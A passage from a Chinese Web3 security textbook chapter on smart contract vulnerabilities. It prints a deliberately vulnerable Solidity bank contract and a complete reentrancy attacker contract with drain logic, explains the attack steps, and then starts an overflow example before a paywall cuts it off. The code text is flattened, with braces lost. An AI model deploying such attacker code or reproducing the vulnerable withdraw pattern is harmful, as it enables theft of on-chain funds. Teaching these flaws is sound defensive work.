📖 Web3与去中心化应用 · \chapter{Web3安全实践} / \chapter{区块链基础}
> ⭐ 付费技术文章 · VIP可见 > 本文选自《Web3与去中心化应用》
chapter 12 security
Web3安全实践
智能合约的安全问题是Web3生态面临的最大挑战之一。由于智能合约一旦部署就不可篡改,且直接管理价值数十亿美元的数字资产,任何安全漏洞都可能导致灾难性的财务损失。根据相关统计,截至2024年,因智能合约漏洞导致的损失已超过百亿美元。本章将系统性地介绍常见的智能合约漏洞、攻击案例分析以及安全防护的最佳实践。
智能合约常见漏洞
重入攻击
重入攻击(Reentrancy Attack)是智能合约中最经典且危害最大的漏洞之一。攻击者利用合约状态更新滞后于外部调用的设计缺陷,在外部调用回调时递归调用同一函数,在状态更新前反复提取资产。
重入攻击是指目标合约在被调用函数的状态更新完成之前,通过回调函数再次进入同一函数,导致状态不一致和资产盗取的攻击方式。
一个典型的有漏洞的合约如下:
pragma solidity \^0.8.0;
// 漏洞合约:状态在外部调用后更新 contract VulnerableBank mapping(address =\> uint256) public balances; address public owner;
constructor() owner = msg.sender;
// 存款 function deposit() external payable balances\[msg.sender\] += msg.value;
// 提款 - 存在重入漏洞! function withdraw(uint256 amount) external require(balances\[msg.sender\] \>= amount, "Insufficient balance");
// 先执行外部调用(转账ETH) (bool success, ) = msg.sender.call value: amount (""); require(success, "Transfer failed");
// 后更新状态 balances\[msg.sender\] -= amount;
function getBalance() external view returns (uint256) return address(this).balance;
攻击者合约利用fallback函数发起递归调用:
interface IVulnerableBank function withdraw(uint256 amount) external; function deposit() external payable;
contract ReentrancyAttacker IVulnerableBank public target;
constructor(address _target) target = IVulnerableBank(_target);
// 发起攻击 function attack() external payable require(msg.value \>= 1 ether, "Need at least 1 ETH"); target.depositvalue: msg.value(); target.withdraw(msg.value);
// fallback函数 ------ 在收到ETH时自动调用 receive() external payable if (address(target).balance \>= msg.value) target.withdraw(msg.value);
// 提取攻击所得 function drain() external payable(msg.sender).transfer(address(this).balance);
攻击执行流程如下:
- 攻击者合约存入1 ETH到目标合约。 - 攻击者调用
withdraw(1 ether)。 - 目标合约检查余额,通过。 - 目标合约转账1 ETH给攻击者合约。 - 攻击者合约的receive()收到ETH后再次调用withdraw(1 ether)。 - 步骤3-5递归执行,直到目标合约余额为0。 - 最终目标合约的balances[attacker]无法正确扣除。
title=重入攻击的关键 重入攻击成功的核心条件是:状态更新在外部调用之后执行。Solidity中的call方法会转发所有剩余Gas给被调用方,使攻击者有足够的Gas执行多次递归调用。
整数溢出与下溢
在Solidity 0.8.x版本之前,整数运算默认不检查溢出,导致2\^256 - 1 + 1 = 0的经典溢出问题。
无符号整数溢出 &: max( uint256 ) + 1 = 0 \\ 无符号整数下溢 &: 0 - 1 = max( uint256 )
// Solidity \< 0.8 存在溢出风险 contract OverflowVulnerable mapping(address =\> uint256) public balances;
// 攻击者可以利用溢出使余额变得极大 function transfer(address to, uint256 amount) external // 如果balance为0,amount为1 // bala
...(完整内容见书籍PDF版)
\> 💎 本文为VIP付费技术文章